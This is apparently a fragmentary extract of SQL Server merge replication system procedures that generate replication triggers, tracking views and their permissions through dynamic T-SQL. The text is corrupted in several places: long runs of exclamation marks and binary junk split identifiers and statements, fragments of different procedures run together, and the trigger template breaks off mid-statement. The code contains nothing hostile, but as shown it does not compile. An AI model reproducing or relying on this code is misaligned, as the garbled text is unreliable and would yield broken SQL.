    --                            (select rowguid from @logical_record_distinct_parent_rowguids_copy where type = 0)
    -- 
    -- For new children:
    --                    update MSmerge_contents set parent_g!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<y
6"huid = clrv.parent_guid 
    --                    from MSmerge_contents mc, child_logical_record_view clrv
    --                    where mc.rowguid = clrv.child_rowguid
    --                    and clrv.parent_rowguid in (
    --                            (select rowguid from @logical_record_distinct_parent_rowguids_copy where type = 1)
    --                                
    --
    
    if @logical_record_view is not null 
        and exists (select * from dbo.sysmergesubsetfilters ssf, dbo.sysmergepartitioninfoview sma 
        where ssf.join_nickname = @tablenick
        and sma.nickname = ssf.art_nickname
        and sma.pubid = ssf.pubid
        and sma.partition_view_id is not null
        and (ssf.filter_type & 2) = 2
        )
    begin
        declare @child_nickname int, @child_logical_record_view_name nvarchar(270), @child_objid int
        
        select @command3 = '
    if @partchange = 1 or @joinchange = 1
    begin '
        
        insert into #tmptriggercmd (phase, cmdtext) values(30, @command3)
                
        create table #logical_record_children (art_nickname int unique)
        
        --insert into #logical_record_children values (@tablenick)

        -- load the logical record children article nicks
        exec sys.sp_MSget_logical_record_children @tablenick
        
        declare logical_record_children_cursor cursor local fast_forward for
        select art_nickname from #logical_record_children
        for read only
        
        open logical_record_children_cursor
        
        fetch next from logical_record_children_cursor into @child_nickname
    
        -- for each child, do the "old" and "new" processing (see comment above this IF block).        
        while (@@fetch_status <> -1)
        begin
            select @child_logical_record_view_name = 'dbo.' + quotename(object_name(logical_record_view)),
                    @child_objid = objid
                from dbo.sysmergearticles sma, dbo.sysmergepartitioninfo smaw
                where nickname = @child_nickname
                and logical_record_view is not null
                and sma.artid = smaw.artid
                and sma.pubid = smaw.pubid
            
            select @child_rgcol = quotename(name) from sys.columns where object_id = @child_objid and is_rowguidcol = 1
            
            select @command3 = '
                                
        update ' + @viewname + ' with (rowlock) set logical_record_parent_rowguid = clrv.logical_record_parent_rowguid
                    from ' 
                    + @child_logical_record_view_name + ' clrv with (rowlock), '
                    + @viewname + ' mc with (rowlock) 
                    where mc.rowguid = clrv.' + @child_rgcol + '
                    and mc.tablenick = ' + convert(nvarchar, @child_nickname) + '
                    and clrv.logical_record_parent_rowguid in
                            (select logical_record_parent_rowguid from @logical_record_distinct_parent_rowguids_copy ) '
                                    
            insert into #tmptriggercmd (phase, cmdtext) values(30, @command3)
            
            fetch next from logical_record_children_cursor into @child_nickname
        end
        
        select @command3 = '
    end '
        
        close logical_record_children_cursor
        deallocate logical_record_children_cursor
        drop table #logical_record_children
        
        insert into #tmptriggercmd (phase, cmdtext) values(30, @command3)
    end
    
    select @command7 = '    

    return
FAILURE:
    if @@trancount > 0
        rollback tran
    raiserror (20041, 16, -1)
    return '
    insert into #tmptriggercmd(phase, cmdtext) values (30, @command7)
    
    -- insert into #tmptriggercmd(phase, cmdtext) values (2, @mapupbmstr)
    
    insert into #tmptriggercmd(phase, cmdtext) values (3, '    
	set @partchangebm = ' + @partchstr)
	--insert into #tmptriggercmd(phase, cmdtext) values (4, @partchstr)
	insert into #tmptriggercmd(phase, cmdtext) values (5, ' 
	set @joinchangebm = ' + @joinchstr)
	insert into #tmptriggercmd(phase, cmdtext) values (6, ' 
	set @logicalrelationchangebm = ' + @logicalrelationchstr)
	--insert into #tmptriggercmd(phase, cmdtext) values (6, @joinchstr)

	insert into #tmptriggercmd(phase, cmdtext) values (7, @ifcol)
    
    return 0
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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addmergetriggers 
    @source_table         nvarchar(517),                /* was type varchar(92), table name */
    @table_owner        sysname = NULL,
    @column_tracking     int = NULL,                /* Is column tracking on - default is FALSE */
    @recreate_repl_views bit = 1
AS
begin
    declare @trigger_type       tinyint
    declare @cmd                nvarchar(4000)
    declare @dbname             sysname
    declare @trigname           sysname
    declare @instrigname        sysname
    declare @updtrigname        sysname
    declare @deltrigname        sysname
    declare @tablenick          int    
    declare @replnick           binary(6)
    declare @artid              uniqueidentifier
    declare @guidstr            nvarchar(32)
    declare @owner              sysname
    declare @site               sysname
    declare @db                 sysname
    declare @object             sysname
    declare @tablenickchar      nvarchar(11)
    declare @retcode            int
    declare @objid              int
    declare @bitmap             varbinary(40)
    declare @viewname           sysname
    declare @tsview             sysname
    declare @current_mappings_viewname nvarchar(130)
    declare @past_mappings_viewname nvarchar(130)
    declare @owner_is_admin     bit
    declare @UnqualName         sysname  --rightmost name node
    declare @QualName1          sysname  
    declare @create_upto_triggertype tinyint
    declare @source_table_passed_in nvarchar(517)
    declare @maintainsmetadata    bit
    declare @instrigid            int
    declare @updtrigid            int
    declare @deltrigid            int
    declare @pubid                uniqueidentifier
    declare @prev_pubid           uniqueidentifier
    declare @before_name nvarchar(130)
    declare @beforeview sysname
    declare @islightweight bit
    declare @genhistory_viewname sysname
    declare @article_published		bit
    declare @subscriber_of_wellpartitionedarticle bit
    declare @using_logical_records	bit
    declare @has_missing_or_exluded_cols bit
    declare @use_subscriber_simple_trigger_template bit
    declare @identity_support		bit
    declare @max_colv_size_in_bytes	int
    declare @max_colv_size_in_bytes_str nvarchar(10)
    declare @rgcol sysname
    declare @delete_tracking bit
    declare @str_objid nvarchar(15)
    declare @create_generic_subscriber_trigger bit
    declare @sync_type int
    
        /* Security check */
    EXEC @retcode = dbo.sp_MSreplcheck_subscribe
    if @@ERROR <> 0 or @retcode <> 0
        return(1)
        
    select @source_table_passed_in = @source_table -- the code below mucks around with @source_table. I need to save off the passed-in value since I pass that to sp_MSaddmergetriggers_internal.

    select @dbname = db_name()

    if @table_owner is not NULL
        select @source_table=QUOTENAME(@table_owner) + '.' + QUOTENAME(@source_table)

    set @objid =  OBJECT_ID(@source_table)
    set @str_objid = convert(nvarchar, @objid)
    
    select @rgcol = name from sys.columns where object_id = @objid and is_rowguidcol = 1

    -- Check whether the table is a heavy- or lightweight article.
    select top 1 @islightweight=lightweight, @artid=artid from dbo.sysmergearticles where objid=@objid

	if 0 = @islightweight
	begin
		if exists (select * from dbo.sysmergearticles where artid = @artid and sys.fn_MSmerge_islocalpubid(pubid) = 1)
			select @article_published = 1
		else
			select @article_published = 0
			
		if exists (select * from dbo.sysmergepartitioninfo where artid = @artid and logical_record_view is not null)
			select @using_logical_records = 1
		else
			select @using_logical_records = 0
	    
		set @subscriber_of_wellpartitionedarticle = 0
	    
		exec @retcode = sys.sp_MSissubscriber_of_wellpartitionedarticle @artid, @subscriber_of_wellpartitionedarticle output
		if @@error <> 0 or @retcode <> 0
			return 1
	        
		if exists (select * from sys.columns where object_id = @objid and (is_computed = 1 or system_type_id = type_id('timestamp')))
			or exists (select * from dbo.sysmergearticles where artid = @artid and (missing_cols <> 0 or excluded_cols <> 0))
			select @has_missing_or_exluded_cols = 1
		else
			select @has_missing_or_exluded_cols = 0

		if exists (select * from dbo.sysmergepartitioninfoview where artid = @artid and identity_support=1)
			select @identity_support = 1
		else
			select @identity_support = 0
			
		if exists (select * from dbo.sysmergepartitioninfoview where artid = @artid and delete_tracking=1)
			select @delete_tracking = 1
		else
			select @delete_tracking = 0

	      --we should not use the template to build the triggers when @partition_options of the article is 1
      	      -- yiche,  bug 405196
            declare @partition_options tinyint           
            select top 1 @partition_options = partition_options
            from dbo.sysmergepartitioninfoview
            where artid = @artid
			
		if @article_published = 0 and @using_logical_records = 0 and @subscriber_of_wellpartitionedarticle = 0  and @partition_options <>1
			select @use_subscriber_simple_trigger_template = 1
		else
			select @use_subscriber_simple_trigger_template = 0
			
		if exists (select * from dbo.sysmergearticles where artid = @artid and column_tracking = 1)
		begin
			declare @current_col_count int, @missing_col_count int
			select @current_col_count = count(*) 
				from sys.columns where object_id = @objid
			select @missing_col_count = coalesce((select max(missing_col_count) 
				from dbo.sysmergearticles where objid = @objid), 0)
			-- 12 bytes per column in table + 1 trailing byte for colv.
			select @max_colv_size_in_bytes = 12 * (@current_col_count + @missing_col_count) + 1
			if @max_colv_size_in_bytes > 2953
				select @max_colv_size_in_bytes = 2953
		end
		else
			select @max_colv_size_in_bytes = 1
	        
		select @max_colv_size_in_bytes_str = convert(nvarchar(10), @max_colv_size_in_bytes)
	end
	
    begin tran
    save tran sp_MSaddmergetriggers
    
    if 0=@islightweight
    begin
        -- set up the before image table if one is desired
        --exec sys.sp_MScreatebeforetable @objid
        select @UnqualName = PARSENAME(@source_table, 1)
        select @QualName1 = PARSENAME(@source_table, 2)
        if @UnqualName IS NULL
             goto FAILURE

        if @QualName1 is NULL
             select @QualName1 = SCHEMA_NAME(schema_id) from sys.objects where object_id = object_id(@UnqualName)

        -- fixup for variable length differences.  remove when vars expanded
        -- to new SQL SERVER 7.0 lengths

        select @owner = @QualName1
        select @object = @UnqualName

        --this is to find out if table owner is the dbo. Only then can the object be
        -- marked as system object.
        if @owner = 'dbo'
            select @owner_is_admin = 1
        else 
            select @owner_is_admin = 0
                    
        execute @retcode=sys.sp_MStablenickname @owner, @object, @tablenick output
        if @retcode<>0 or @@ERROR<>0 goto FAILURE
            
        -- Find out whether this article is updateable at that node. 
        set @maintainsmetadata= sys.fn_MSarticle_allows_DML_at_this_replica(@artid, default)

        /* If column tracking wasn't passed in, just figure it out */
        if @column_tracking is null
            select @column_tracking = column_tracking from dbo.sysmergearticles 
            where artid = @artid
            
        select @tablenickchar = convert(nvarchar, @tablenick)
        exec @retcode=sys.sp_MSguidtostr @artid, @guidstr out
        if @retcode<>0 or @@ERROR<>0 
            goto FAILURE

        /* Drop the article's replication triggers if they preexist */
        exec sys.sp_MSdroparticletriggers @object, @owner
        if @@ERROR <> 0 !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<({
6Qov{or @retcode<>0
            goto FAILURE
        
        -- owner name removed
        set @viewname = 'MSmerge_ctsv_' + @guidstr
        set @tsview = 'MSmerge_tsvw_' + @guidstr
        set @current_mappings_viewname = 'MSmerge_cpmv_' + @guidstr
        set @past_mappings_viewname = 'MSmerge_ppmv_' + @guidstr
        
        set @instrigname = 'MSmerge_ins_' + @guidstr
        set @updtrigname = 'MSmerge_upd_' + @guidstr
        set @deltrigname = 'MSmerge_del_' + @guidstr

        set @genhistory_viewname = 'MSmerge_genvw_' + @guidstr
        
        if object_id(@viewname, 'V') is not NULL
        begin
            set @cmd = 'drop view dbo.' + @viewname
            execute (@cmd)
        end

        if object_id(@tsview, 'V') is not NULL
        begin
            set @cmd = 'drop view dbo.' + @tsview
            execute (@cmd)
        end

        if object_id(@current_mappings_viewname, 'V') is not NULL
        begin
            set @cmd = 'drop view dbo.' + @current_mappings_viewname
            execute (@cmd)
        end

        if object_id(@past_mappings_viewname, 'V') is not NULL
        begin
            set @cmd = 'drop view dbo.' + @past_mappings_viewname
            execute (@cmd)
        end

        if object_id(@genhistory_viewname, 'V') is not NULL
        begin
            set @cmd = 'drop view dbo.' + @genhistory_viewname
            execute (@cmd)
        end

        if 1 = @maintainsmetadata
        begin
            if @recreate_repl_views = 1
            begin
                -- regenerate repl_view_ that uses triggers for this article @artid
                -- they are expected inside trigger generation code
                select top 1 @pubid = pubid from dbo.sysmergearticles 
                where artid = @artid 
                order by pubid
                
                while @pubid is not null
                begin
                    exec @retcode = sys.sp_MScreate_article_repl_view @pubid, @artid
                    if @@error <> 0 or @retcode <> 0 goto FAILURE

                    select @prev_pubid = @pubid
                    select @pubid = NULL
                    
                    select top 1 @pubid = pubid from dbo.sysmergearticles 
                    where artid = @artid 
                    and pubid > @prev_pubid 
                    order by pubid
                end
            end

            -- create the before view so that it is consistent with the before image table
            -- create the real security before view only after the trigger creation
            -- check if there is a before image table. If so create a view from which public can select
            select @before_name = OBJECT_NAME(before_image_objid) from dbo.sysmergearticles where objid = @objid
            set @beforeview = 'MSmerge_bivw_' + @guidstr
            if (@before_name is not null)
            begin
                /* Create the a view on the before image table if it doesn't already exist. */
                /* this view is needed for security purposes since we don't want to grant rights 
                   on the before image table to all users */
                if object_id(@beforeview, 'V') is not NULL
                begin
                    exec (' drop view dbo.' + @beforeview)
                    if @@ERROR<>0 goto FAILURE                    
                end
                if object_id(@beforeview, 'V') is NULL
                begin
                    set @cmd = 'create view dbo.' + @beforeview + ' as
                        select * from dbo.' + @before_name 
                    execute (@cmd)
                    if @@ERROR<>0 goto FAILURE
                    execute sp_MS_marksystemobject @beforeview 
                    if @@ERROR<>0 goto FAILURE    
                end
            end
            
            exec @retcode= sys.sp_MSgetreplnick @replnick = @replnick out
			if @retcode<>0 or @@error<>0 
				return 1
            
           -- regenerate triggers
            select @trigger_type = 0 -- insert trigger (0=insert, 1=update, 2=delete)

            select @create_upto_triggertype = 2

			-- for nosync subscribers do not use the templated update trigger because we may have deleted columns that need to be considered.
			if exists (select * FROM dbo.sysmergesubscriptions
	        WHERE UPPER(subscriber_server) collate database_default = UPPER(@@servername) collate database_default 
            and db_name = @dbname and sync_type = 2 and pubid in (select pubid from sysmergearticles where artid = @artid))
            begin
            	select @sync_type = 2
            end
            else
            begin
            	select @sync_type = 0
            end

            while (@trigger_type <= @create_upto_triggertype)
            begin
                select @trigname = case 
                                        when @trigger_type = 0 then @instrigname 
                                        when @trigger_type = 1 then @updtrigname  
                                        when @trigger_type = 2 then @deltrigname 
                                   end
                                   
                if @use_subscriber_simple_trigger_template = 1 and (@trigger_type <> 1 or (@has_missing_or_exluded_cols = 0 and @sync_type <> 2) or @column_tracking = 0)
								and (@trigger_type <> 0 or @identity_support = 0) and (@trigger_type <> 2 or @delete_tracking = 1)
                begin
					select @cmd = 'exec sys.sp_MSaddmergetriggers_from_template ''' + @tablenickchar + 
								''', N''' + sys.fn_replreplacesinglequote(@source_table_passed_in) collate database_default + 
                                ''', ' + sys.fn_replreplacesinglequoteplusprotectstring(@table_owner) collate database_default + 
                                ', ' + sys.fn_replreplacesinglequoteplusprotectstring(@rgcol) collate database_default + 
                                ', ' + isnull(convert(nvarchar, @column_tracking), 'NULL') + ', ' + convert(nvarchar, @trigger_type) + 
                                ', ''' + sys.fn_replreplacesinglequote(@viewname) collate database_default + '''' + 
                                ', ''' + sys.fn_replreplacesinglequote(@tsview) collate database_default + '''' + 
                                ', ''' + sys.fn_replreplacesinglequote(@trigname) collate database_default + ''''+ 
                                ', ''' + sys.fn_replreplacesinglequote(@genhistory_viewname) collate database_default + '''' +
                                ', ' + sys.fn_varbintohexstr(@replnick) +
                                ', ''' + @max_colv_size_in_bytes_str + ''''
                                
					exec (@cmd)
					if @@ERROR<>0 goto FAILURE
                end
                else
                begin
                
					select @cmd = 'exec sys.sp_MSaddmergetriggers_internal N''' + sys.fn_replreplacesinglequote(@UnqualName) collate database_default + 
                                ''', ' + sys.fn_replreplacesinglequoteplusprotectstring(@QualName1) collate database_default + ', ' + 
                                isnull(convert(nvarchar, @column_tracking), 'NULL') + ', ' + convert(nvarchar, @trigger_type) + 
                                ', ''' + sys.fn_replreplacesinglequote(@viewname) collate database_default + '''' + 
                                ', ''' + sys.fn_replreplacesinglequote(@tsview) collate database_default + '''' + 
                                ', ''' + sys.fn_replreplacesinglequote(@trigname) collate database_default + ''''+ 
                                ', ''' + sys.fn_replreplacesinglequote(@current_mappings_viewname) collate database_default + ''''+ 
                                ', ''' + sys.fn_replreplacesinglequote(@past_mappings_viewname) collate database_default + '''' +
                                ', ''' + sys.fn_replrep!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(|
6<v{lacesinglequote(@genhistory_viewname) collate database_default + '''' 

					if @using_logical_records = 1 or 
					(select sum(datalength(smsf.filtername) + 2 * datalength(smsf.join_filterclause) 
							+ 2 * datalength(smsf.join_articlename) + 2 * datalength(sma.name) + 100) 
							from sysmergesubsetfilters smsf join sysmergearticles sma 
							on smsf.art_nickname = sma.nickname
							where smsf.art_nickname = @tablenick) > 1000

--					(select count(*) from dbo.sysmergesubsetfilters where art_nickname = @tablenick
--                        or join_nickname = @tablenick) >= 10 -- arbitrary limit.
						-- if there is a logical record then the update trigger has rows larger than nvarchar(4000)
                        -- if there are too many join filters on an article, the number of characters
                        -- in the sync view definition could be more than nvarchar(4000) which
                        -- xp_execresultset does not handle well. Use sp_execresultset_nvarcharmax instead,
                        -- but not always because it does not perform well because of nvarchar(max) perf.
					begin
						exec @retcode = sys.sp_execresultset_nvarcharmaxrows @cmd
						if @@ERROR<>0 OR @retcode<>0 goto FAILURE
					end
					else
					begin
					    exec @retcode = sys.xp_execresultset @cmd, @dbname
				        if @@ERROR<>0 OR @retcode<>0 goto FAILURE
                    end
                end
           
                if (@owner_is_admin = 1)
                begin
                    declare @temp_qual_trigname nvarchar(300)
                    select @temp_qual_trigname = quotename(@owner) + '.' + quotename(@trigname)
                    exec sp_MS_marksystemobject @temp_qual_trigname
                    if @@error<>0 goto FAILURE
                end
                
                select @trigger_type = @trigger_type + 1
            end


            -- generate view here that uses the triggers
            select @instrigid = object_id(quotename(@owner) + '.' + quotename(@instrigname))
            select @updtrigid = object_id(quotename(@owner) + '.' + quotename(@updtrigname))
            select @deltrigid = object_id(quotename(@owner) + '.' + quotename(@deltrigname))
            
            -- check if there is a before image table. If so create a view from which public can select
            select @before_name = OBJECT_NAME(before_image_objid) from sysmergearticles where objid = @objid
            set @beforeview = 'MSmerge_bivw_' + @guidstr
            if (@before_name is not null)
            begin
                /* Create the a view on the before image table if it doesn't already exist. */
                /* this view is needed for security purposes since we don't want to grant rights 
                   on the before image table to all users */
                if object_id(@beforeview, 'V') is not NULL
                begin
                    exec (' drop view dbo.' + @beforeview)
                    if @@ERROR<>0 goto FAILURE                    
                end
                if object_id(@beforeview, 'V') is NULL
                begin
                    set @cmd = 'create view dbo.' + @beforeview + ' as
                        select * from dbo.' + @before_name + ' where
                            trigger_nestlevel(' + convert(nvarchar,@instrigid) + ') > 0 or
                            trigger_nestlevel(' + convert(nvarchar,@updtrigid) + ') > 0 or
                            trigger_nestlevel(' + convert(nvarchar,@deltrigid) + ') > 0
                            with check option'
                    execute (@cmd)
                    if @@ERROR<>0 goto FAILURE
                    set @cmd = 'grant update, insert, select, delete on ' + @beforeview + ' to public'
                    execute (@cmd)
                    if @@ERROR<>0 goto FAILURE
                    execute sp_MS_marksystemobject @beforeview   
                    if @@ERROR<>0 goto FAILURE    
                end
            end
            
            set @cmd = '
                create view dbo.' + @viewname + ' as
                select * from dbo.MSmerge_contents where
                trigger_nestlevel(' + convert(nvarchar,@instrigid) + ') > 0 or
                trigger_nestlevel(' + convert(nvarchar,@updtrigid) + ') > 0 or
                trigger_nestlevel(' + convert(nvarchar,@deltrigid) + ') > 0
                with check option'
                
            execute (@cmd)
            if @@ERROR<>0 goto FAILURE
            set @cmd = 'grant update, insert, select, delete on ' + @viewname + ' to public'
            execute (@cmd)
            if @@ERROR<>0 goto FAILURE
            execute sp_MS_marksystemobject @viewname
            if @@ERROR<>0 goto FAILURE

            set @cmd = '
                create view dbo. ' + @tsview + ' as
                select * from dbo.MSmerge_tombstone where
                trigger_nestlevel(' + convert(nvarchar,@instrigid) + ') > 0 or
                trigger_nestlevel(' + convert(nvarchar,@updtrigid) + ') > 0 or
                trigger_nestlevel(' + convert(nvarchar,@deltrigid) + ') > 0
                with check option'
            execute (@cmd)
            if @@ERROR<>0 goto FAILURE
            set @cmd = 'grant update, insert, select, delete on ' + @tsview + ' to public'
            execute (@cmd)
            if @@ERROR<>0 goto FAILURE        
            execute sp_MS_marksystemobject @tsview 
            if @@ERROR<>0 goto FAILURE

            if (exists (select * from sysmergearticles where artid = @artid and pubid in (select pubid from sysmergepublications where use_partition_groups = 1)))
            begin
                set @cmd = '
                    create view dbo.' + @current_mappings_viewname + ' as
                    select * from dbo.MSmerge_current_partition_mappings where
                    trigger_nestlevel(' + convert(nvarchar,@instrigid) + ') > 0 or
                    trigger_nestlevel(' + convert(nvarchar,@updtrigid) + ') > 0 or
                    trigger_nestlevel(' + convert(nvarchar,@deltrigid) + ') > 0
                    with check option'
                execute (@cmd)
                if @@ERROR<>0 goto FAILURE
                set @cmd = 'grant update, insert, select, delete on ' + @current_mappings_viewname + ' to public'
                execute (@cmd)
                if @@ERROR<>0 goto FAILURE
                execute sp_MS_marksystemobject @current_mappings_viewname 
                if @@ERROR<>0 goto FAILURE
                
                set @cmd = '
                    create view dbo.' + @past_mappings_viewname + ' as
                    select * from dbo.MSmerge_past_partition_mappings where
                    trigger_nestlevel(' + convert(nvarchar,@instrigid) + ') > 0 or
                    trigger_nestlevel(' + convert(nvarchar,@updtrigid) + ') > 0 or
                    trigger_nestlevel(' + convert(nvarchar,@deltrigid) + ') > 0
                    with check option'
                execute (@cmd)
                if @@ERROR<>0 goto FAILURE
                set @cmd = 'grant update, insert, select, delete on ' + @past_mappings_viewname + ' to public'
                execute (@cmd)
                if @@ERROR<>0 goto FAILURE
                execute sp_MS_marksystemobject @past_mappings_viewname 
                if @@ERROR<>0 goto FAILURE        
            end
            
            set @cmd = '
                create view dbo.' + @genhistory_viewname + ' as
                select * from dbo.MSmerge_genhistory where
                trigger_nestlevel(' + convert(nvarchar,@instrigid) + ') > 0 or
                trigger_nestlevel(' + convert(nvarchar,@updtrigid) + ') > 0 or
                trigger_nestlevel(' + convert(nvarchar,@deltrigid) + ') > 0
                with check option'
            execute (@cmd)
            if @@ERROR<>0 goto FAILURE
       !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(}
#70vD
create procedure sys.sp_MSaddmergetriggers_from_template 
	@tablenickstr			nvarchar(15),
    @source_table         nvarchar(270),                /* was type varchar(92), table name */
    @table_owner        sysname,
    @rgcol				sysname,
    @column_tracking     int,                /* Is column tracking on - default is FALSE */
    @trigger_type        tinyint,
    @viewname            sysname,
    @tsview                sysname,
    @trigname            sysname,
    @genhistory_viewname sysname,
    @replnick			binary(6),
    @max_colv_size_in_bytes_str nvarchar(15)
AS
    set nocount on
    

    declare @retcode int, @quoted_dbname nvarchar(258), @quoted_tableowner_dot nvarchar(259), @quoted_sourcetable nvarchar(258),
			@replnickstr nvarchar(20), @quoted_rgcol nvarchar(258), @colv_param1 nvarchar(10), @colv_param2 nvarchar(200),
			@colv_param3 nvarchar(200), 
			@quoted_trigname nvarchar(258), 
			@quoted_viewname nvarchar(264),
			@quoted_tsview nvarchar(264),
			@quoted_genhistory_viewname nvarchar(264),
			@tablenick int
    
    EXEC @retcode = dbo.sp_MSreplcheck_subscribe
    if @@ERROR <> 0 or @retcode <> 0
        return(1)
    
	-- Validate @tablenickstr is an int for usage in the dynamic sql below	
	select @tablenick = cast(@tablenickstr as int)
	if @@ERROR <> 0
		return(1)

    select @quoted_dbname = quotename(db_name()), 
			@quoted_tableowner_dot = case when @table_owner is not null then quotename(@table_owner) + N'.' else N'' end, 
			@quoted_sourcetable = case when @table_owner is not null then quotename(@source_table) else @source_table end,
			@quoted_trigname = quotename(@trigname),
			@quoted_viewname = '[dbo].' + quotename(@viewname),
			@quoted_tsview = '[dbo].' + quotename(@tsview),
			@quoted_genhistory_viewname = '[dbo].' + quotename(@genhistory_viewname),
			@replnickstr = sys.fn_varbintohexstr(@replnick), @quoted_rgcol = quotename(@rgcol), @colv_param1 = case when @column_tracking = 1 then '0xFF			' else 'NULL' end, @colv_param2 = case when @column_tracking = 1 then '
            set @cv = 0xFF
            set @cv = { fn UPDATECOLVBM(@cv, @replnick, @bm, @missingbm, { fn GETMAXVERSION(@lineage) }) } '
            else '
            set @cv = NULL ' end,
            @colv_param3 = case when @column_tracking = 0 then 'NULL' else '{ fn UPDATECOLVBM(colv1, @replnick, @bm, @missingbm, { fn GETMAXVERSION({ fn UPDATELINEAGE(lineage, @replnick, @oldmaxversion+1) }) }) }  ' end
        
    if @trigger_type = 0
    begin
		
		exec ('create trigger ' + @quoted_trigname + ' on ' + @quoted_dbname + '.' + @quoted_tableowner_dot + @quoted_sourcetable + ' for insert   as 
		declare @is_mergeagent bit, @retcode smallint 

		set rowcount 0
	    set transaction isolation level read committed

		select @is_mergeagent = convert(bit, sessionproperty(''replication_agent''))
	        
		if (select trigger_nestlevel()) = 1 and @is_mergeagent = 1
			return  
		declare @article_rows_inserted int
		select @article_rows_inserted =  count(*) from inserted 
		if @article_rows_inserted = 0 
			return
		declare @tablenick int, @rowguid uniqueidentifier
		, @replnick binary(6), @lineage varbinary(311), @colv1 varbinary(' + @max_colv_size_in_bytes_str + '), @cv varbinary(1)
		, @ccols int, @newgen bigint, @version int, @curversion int
		, @oldmaxversion int, @ts_rows_exist bit
		declare @dt datetime
		declare @nickbin varbinary(8)
		declare @error int 
		set nocount on
		set @tablenick = ' + @tablenickstr + '
		set @lineage = 0x0
		set @retcode = 0
		select @oldmaxversion= maxversion_at_cleanup from dbo.sysmergearticles where nickname = @tablenick
		select @dt = getdate()

		select @replnick = ' + @replnickstr + '  
		set @nickbin= @replnick + 0xFF

		select @newgen = NULL
		select top 1 @newgen = generation from ' + @quoted_genhistory_viewname + ' with (rowlock, updlock, readpast) 
			where art_nick = ' + @tablenickstr + '     and 
				  genstatus = 0
		if @newgen is NULL
		begin
			insert into ' + @quoted_genhistory_viewname + ' with (rowlock)
				(guidsrc, genstatus, art_nick, nicknames, coldate, changecount)
				   values   (newid(), 0, @tablenick, @nickbin, @dt, @article_rows_inserted)
			select @error = @@error, @newgen = @@identity    
			if @error<>0 or @newgen is NULL
				goto FAILURE
		end
		set @lineage = { fn UPDATELINEAGE (0x0, @replnick, 1) }
				set @colv1 = ' + @colv_param1 + '
		if (@@error <> 0)
		begin
			goto FAILURE
		end

		select @ts_rows_exist = 0 
			select @ts_rows_exist = 1 where exists (select ts.rowguid from inserted i, ' + @quoted_tsview + ' ts with (rowlock) where ts.tablenick = @tablenick and ts.rowguid = i.rowguidcol)     
		if @ts_rows_exist = 1
		begin    
			select @version = max({fn GETMAXVERSION(lineage)}) from ' + @quoted_tsview + ' where 
				tablenick = @tablenick and rowguid in (select rowguidcol from inserted) 

			if @version is not null
			begin
				-- reset lineage and colv to higher version...
				set @curversion = 0
				while (@curversion <= @version)
				begin
					set @lineage = { fn UPDATELINEAGE (@lineage, @replnick, @oldmaxversion+1) }
					set @curversion= { fn GETMAXVERSION(@lineage) }
				end

				if (@colv1 IS NOT NULL)
					set @colv1 = { fn UPDATECOLVBM(@colv1, @replnick, 0x01, 0x00, { fn GETMAXVERSION(@lineage) }) }    
					delete from ' + @quoted_tsview + ' with (rowlock) where tablenick = @tablenick and rowguid in
						(select rowguidcol from inserted) 
			end
		end 
		
			insert into ' + @quoted_viewname + ' with (rowlock) (tablenick, rowguid, lineage, colv1, generation, partchangegen, marker) 
			select @tablenick, rowguidcol, @lineage, @colv1, @newgen, (-@newgen), NULL
			from inserted i where not exists
			(select rowguid from ' + @quoted_viewname + ' with (readcommitted, rowlock, readpast) where tablenick = @tablenick and rowguid = i.rowguidcol)  
		if @@error <> 0 
			goto FAILURE   

		return
	FAILURE:
		if @@trancount > 0
			rollback tran
		raiserror (20041, 16, -1)
		return 
		')

    end
    
    else if @trigger_type = 1
    begin
		exec ('create trigger ' + @quoted_trigname + ' on ' + @quoted_dbname + '.' + @quoted_tableowner_dot + @quoted_sourcetable + ' FOR UPDATE   AS 
		declare @is_mergeagent bit, @at_publisher bit, @retcode int 

		set rowcount 0
	    set transaction isolation level read committed

		select @is_mergeagent = convert(bit, sessionproperty(''replication_agent''))
		select @at_publisher = 0   
		declare @article_rows_updated int
		select @article_rows_updated = count(*) from inserted 
	    
		if @article_rows_updated=0
			return
		declare @contents_rows_updated int, @updateerror int, @rowguid uniqueidentifier
		, @bm varbinary(500), @missingbm varbinary(500), @lineage varbinary(311), @cv varbinary(' + @max_colv_size_in_bytes_str + ')
		, @tablenick int, @partchange int, @joinchange int, @logicalrelationchange int, @oldmaxversion int
		, @partgen bigint, @newgen bigint, @replnick binary(6)
		declare @dt datetime
		declare @nickbin varbinary(8)
		declare @error int 
		set nocount on

		set @tablenick = ' + @tablenickstr + '    
	    
		select @replnick = ' + @replnickstr + '   
		select @nickbin = @replnick + 0xFF
	    
		select @oldmaxversion = maxversion_at_cleanup from dbo.sysmergearticles where nickname = @tablenick
		select @dt = getdate()
	    
		-- Use intrinsic funtion to set bits for updated columns
		set @bm = columns_updated() 
		select @newgen = NULL
		select top 1 @newgen = generation from ' + @quoted_genhistory_viewname + ' with (rowlock, updlock, readpast) 
			where art_nick = ' + @tablenickstr + '     and 
				genstatus = 0 
		if @newgen is NULL
		begin
			insert into ' + @quoted_genhistory_viewname + ' with (rowlock)
			(guidsrc, genstatus, art_nick, nicknames, coldate, changecount)
				   values   (newid(), 0, @tablenick, @nickbin, @dt, @article_rows_updated)
			select @error = @@error, @newgen =!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<l	~
-9
U D @@identity    
